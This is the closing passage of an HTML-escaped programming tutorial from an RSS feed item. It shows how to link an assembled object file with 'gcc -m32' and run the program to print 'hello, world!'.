&lt;p&gt;This will create an object file named &lt;code&gt;hello.o&lt;/code&gt;. Now we will use gcc to create a .out file which is our final file that we will run.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc -m32 hello.o -o hello.out
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now execute the file and you&apos;ll get the output &quot;hello, world!&quot;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./hello.out
hello, world!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;EOF&lt;/p&gt;
</content:encoded></item></channel></rss>